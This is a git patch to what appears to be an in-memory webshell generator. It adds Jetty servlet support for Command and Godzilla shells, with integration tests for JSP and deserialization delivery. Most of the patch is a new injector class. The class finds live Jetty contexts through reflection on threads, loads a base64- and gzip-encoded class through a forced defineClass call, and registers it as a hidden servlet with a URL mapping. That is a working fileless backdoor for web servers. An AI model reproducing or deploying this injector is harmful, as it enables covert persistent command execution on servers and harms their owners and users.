From aa7ecb15873e6ba03a3c7d76ba15d8de38d33e77 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 21 Dec 2024 00:42:53 +0800 Subject: [PATCH] feat: support jetty servlet (#2) --- .../reajason/javaweb/memshell/JettyShell.java | 7 + .../jetty/Jetty10ContainerTest.java | 4 + .../jetty/Jetty11ContainerTest.java | 4 + .../jetty/Jetty61ContainerTest.java | 4 + .../jetty/Jetty76ContainerTest.java | 4 + .../jetty/Jetty81ContainerTest.java | 4 + .../jetty/Jetty92ContainerTest.java | 4 + .../jetty/Jetty93ContainerTest.java | 4 + .../jetty/Jetty94ContainerTest.java | 4 + .../jetty/injector/JettyServletInjector.java | 268 ++++++++++++++++++ 10 files changed, 307 insertions(+) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 767d023a..e691c205 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -5,8 +5,11 @@ import com.reajason.javaweb.memshell.jetty.command.CommandListener; import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; +import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import org.apache.commons.lang3.tuple.Pair; import java.util.List; @@ -28,6 +31,8 @@ public class JettyShell extends AbstractShell { @Override protected Map, Class>> getCommandShellMap() { return Map.of( + SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class), + JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class), FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class), LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class), @@ -38,6 +43,8 @@ public class JettyShell extends AbstractShell { @Override protected Map, Class>> getGodzillaShellMap() { return Map.of( + SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class), + JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class), FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 86eec2ff..ba456cf8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index a8608667..13262ce8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index bf9cd0e9..33e1d292 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 44bd7081..a61cab04 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 96b1b646..436fb0bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index fa79684d..7cfd3408 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -41,6 +41,10 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 2eab178c..38b4dc87 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 01938965..0ba442b9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -40,6 +40,10 @@ public class Jetty94ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java new file mode 100644 index 00000000..f84bf603 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java @@ -0,0 +1,268 @@ +package com.reajason.javaweb.memshell.jetty.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/20 + */ +public class JettyServletInjector { + + static { + new JettyServletInjector(); + } + + public JettyServletInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object servlet = getShell(context); + inject(context, servlet); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public Class getServletClass(ClassLoader classLoader) throws ClassNotFoundException { + try { + return classLoader.loadClass("javax.servlet.Servlet"); + } catch (Throwable e) { + return classLoader.loadClass("jakarta.servlet.Servlet"); + } + } + + List getContext() { + List contexts = new ArrayList(); + Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); + for (Thread thread : threads) { + try { + Object contextClassLoader = getContextClassLoader(thread); + if (isWebAppClassLoader(contextClassLoader)) { + contexts.add(getContextFromWebAppClassLoader(contextClassLoader)); + } else if (isHttpConnection(thread)) { + contexts.add(getContextFromHttpConnection(thread)); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getContextClassLoader(Thread thread) throws Exception { + return invokeMethod(thread, "getContextClassLoader"); + } + + private boolean isWebAppClassLoader(Object classLoader) { + return classLoader.getClass().getName().contains("WebAppClassLoader"); + } + + private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { + Object context = getFieldValue(classLoader, "_context"); + Object handler = getFieldValue(context, "_servletHandler"); + return getFieldValue(handler, "_contextHandler"); + } + + private boolean isHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFieldValue(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + return true; + } + } + } + return false; + } + + private Object getContextFromHttpConnection(Thread thread) throws Exception { + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); ++i) { + Object entry = Array.get(table, i); + if (entry != null) { + Object httpConnection = getFieldValue(entry, "value"); + if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { + Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); + Object request = invokeMethod(httpChannel, "getRequest"); + Object session = invokeMethod(request, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + return getFieldValue(servletContext, "this$0"); + } + } + } + throw new Exception("HttpConnection not found"); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + + public void inject(Object context, Object servlet) throws Exception { + Object servletHandler = getFieldValue(context, "_servletHandler"); + + // 1. 判断是否已经注入 + if (isInjected(servletHandler)) { + System.out.println("servlet is already injected"); + return; + } + + ClassLoader classLoader = context.getClass().getClassLoader(); + + Class servletHolderClass = null; + try { + servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder"); + } catch (ClassNotFoundException e) { + servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder"); + } + Constructor servletHolderConstructor = servletHolderClass.getDeclaredConstructor(); + servletHolderConstructor.setAccessible(true); + Object servletHolder = servletHolderConstructor.newInstance(); + invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet}); + invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); + Class servletMappingClass = null; + try { + servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); + } catch (ClassNotFoundException e) { + servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping"); + } + Constructor servletMappingConstructor = servletMappingClass.getDeclaredConstructor(); + servletMappingConstructor.setAccessible(true); + Object servletMapping = servletMappingConstructor.newInstance(); + invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}}); + invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); + System.out.println("servlet inject successful"); + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object servletHandler) throws Exception { + Map servletNameMap = (Map) getFieldValue(servletHandler, "_servletNameMap"); + if (servletNameMap == null) { + return false; + } + return servletNameMap.containsKey(getClassName()); + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +}